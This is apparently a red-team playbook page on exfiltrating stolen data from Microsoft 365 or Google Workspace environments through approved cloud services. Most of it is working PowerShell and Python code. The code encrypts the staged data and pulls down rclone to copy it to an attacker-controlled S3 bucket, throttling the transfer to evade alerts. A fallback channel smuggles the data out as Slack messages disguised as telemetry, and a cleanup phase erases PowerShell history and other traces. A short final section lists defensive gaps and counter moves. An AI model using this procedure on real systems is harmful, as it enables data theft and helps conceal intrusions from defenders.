Living-off-cloud exfiltration¶
Moving data through normal business processes using only approved tools and trusted destinations. Goal: complete the exfiltration phase without generating any alerts in the target’s security tooling.
Scope and prerequisites¶
Target: organisation using Microsoft 365 or Google Workspace with cloud storage; corporate firewall permits HTTPS to major cloud providers
Access: valid identity on target environment (from collection phase)
Infrastructure: attacker-controlled accounts on at least two cloud providers
Success criteria: all staged data received on attacker infrastructure; no DLP alert or SIEM alert generated
Phase 1: assess the exfiltration surface¶
Before selecting a channel, understand what outbound traffic is permitted and monitored:
# what cloud services are accessible from this host?
$services = @(
'https://graph.microsoft.com',
'https://storage.googleapis.com',
'https://s3.amazonaws.com',
'https://api.dropboxapi.com',
'https://content.dropboxapi.com',
'https://slack.com/api',
'https://downloads.rclone.org'
)
foreach ($url in $services) {
try {
$r = Invoke-WebRequest -Uri $url -Method HEAD -TimeoutSec 5 -ErrorAction Stop
Write-Output "ACCESSIBLE: $url ($($r.StatusCode))"
} catch {
Write-Output "BLOCKED: $url"
}
}
Phase 2: stage the data¶
Compress and encrypt before any transfer:
# compress collected material
Compress-Archive -Path C:\Temp\collected -DestinationPath C:\Temp\staged.zip
# optional: encrypt with a key known to attacker infrastructure
# using 7-Zip if available, or PowerShell AES
$key = [System.Convert]::FromBase64String('ATTACKER_BASE64_KEY_32BYTES')
$iv = [System.Convert]::FromBase64String('ATTACKER_BASE64_IV_16BYTES')
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Key = $key; $aes.IV = $iv
$infile = [System.IO.File]::ReadAllBytes('C:\Temp\staged.zip')
$outfile = [System.IO.File]::OpenWrite('C:\Temp\staged.enc')
$cs = New-Object System.Security.Cryptography.CryptoStream(
$outfile, $aes.CreateEncryptor(),
[System.Security.Cryptography.CryptoStreamMode]::Write)
$cs.Write($infile, 0, $infile.Length)
$cs.Close(); $outfile.Close()
Phase 3: primary channel (cloud sync)¶
Use Rclone to sync to attacker-controlled S3:
# deploy rclone without installation
Invoke-WebRequest -Uri 'https://downloads.rclone.org/rclone-current-windows-amd64.zip' `
-OutFile C:\Temp\rc.zip -UseBasicParsing
Expand-Archive C:\Temp\rc.zip C:\Temp\rctool\
$rclone = (Get-ChildItem C:\Temp\rctool -Recurse -Filter rclone.exe).FullName
# configure via environment variables (no file on disk)
$env:RCLONE_CONFIG_EXFIL_TYPE = 's3'
$env:RCLONE_CONFIG_EXFIL_PROVIDER = 'AWS'
$env:RCLONE_CONFIG_EXFIL_ACCESS_KEY_ID = 'ATTACKER_KEY'
$env:RCLONE_CONFIG_EXFIL_SECRET_ACCESS_KEY = 'ATTACKER_SECRET'
$env:RCLONE_CONFIG_EXFIL_REGION = 'eu-west-1'
# transfer: throttled to 200KB/s to blend with normal sync traffic
& $rclone copyto C:\Temp\staged.enc exfil:attacker-bucket/out.enc `
--bwlimit 200k --quiet --no-check-dest
Phase 4: backup channel (covert channel via Slack)¶
If the primary channel is blocked, use a Slack webhook as a secondary:
import requests, base64, os, time
token = 'xoxb-ATTACKER-BOT-TOKEN'
channel = 'CHANNEL_ID'
chunk_size = 3000
with open(r'C:\Temp\staged.enc', 'rb') as f:
encoded = base64.b64encode(f.read()).decode()
parts = [encoded[i:i+chunk_size] for i in range(0, len(encoded), chunk_size)]
for i, part in enumerate(parts):
requests.post('https://slack.com/api/chat.postMessage',
headers={'Authorization': f'Bearer {token}',
'Content-Type': 'application/json'},
json={'channel': channel,
'text': f'telemetry_{i:04d}: {part}'})
time.sleep(10) # pace: 1 message per 10 seconds
Phase 5: verify receipt¶
From attacker infrastructure:
# verify the file arrived intact
aws s3 ls s3://attacker-bucket/ --profile attacker
aws s3 cp s3://attacker-bucket/out.enc /tmp/received.enc --profile attacker
# decrypt and verify
openssl enc -d -aes-256-cbc -in /tmp/received.enc -out /tmp/received.zip -k KEY
md5sum /tmp/staged.zip # compare with the hash noted before transfer
unzip -t /tmp/received.zip
Phase 6: clean up on target¶
# remove rclone and any config
Remove-Item C:\Temp\rc.zip, C:\Temp\rctool\ -Recurse -Force
Remove-Item C:\Temp\staged.zip, C:\Temp\staged.enc -Force
Remove-Item C:\Temp\collected\ -Recurse -Force
# clear PowerShell history
Remove-Item (Get-PSReadlineOption).HistorySavePath -Force
[System.Environment]::SetEnvironmentVariable('RCLONE_CONFIG_EXFIL_TYPE', $null)
# (environment variables cleared on shell exit)
Defensive gaps this exposes¶
Cloud egress monitoring: absence of monitoring for API calls to cloud storage providers (vs. just web browsing)
DLP: no rate-based or volume-based detection for cloud uploads
Rclone: legitimate tool, often not blocked; its presence on a workstation may not trigger EDR
Encrypted archives: content inspection is ineffective against AES-encrypted payloads; detection must be behavioural
Slack: webhooks and bot API calls are indistinguishable from legitimate Slack application traffic
Counter moves¶
Staging into an attacker-controlled cloud account uses valid credentials and ordinary API calls. Upload and download ratio inversion, and alerting on data leaving to unexpected tenants, are where it surfaces. The defender’s view is in the blue notes on watching the exits.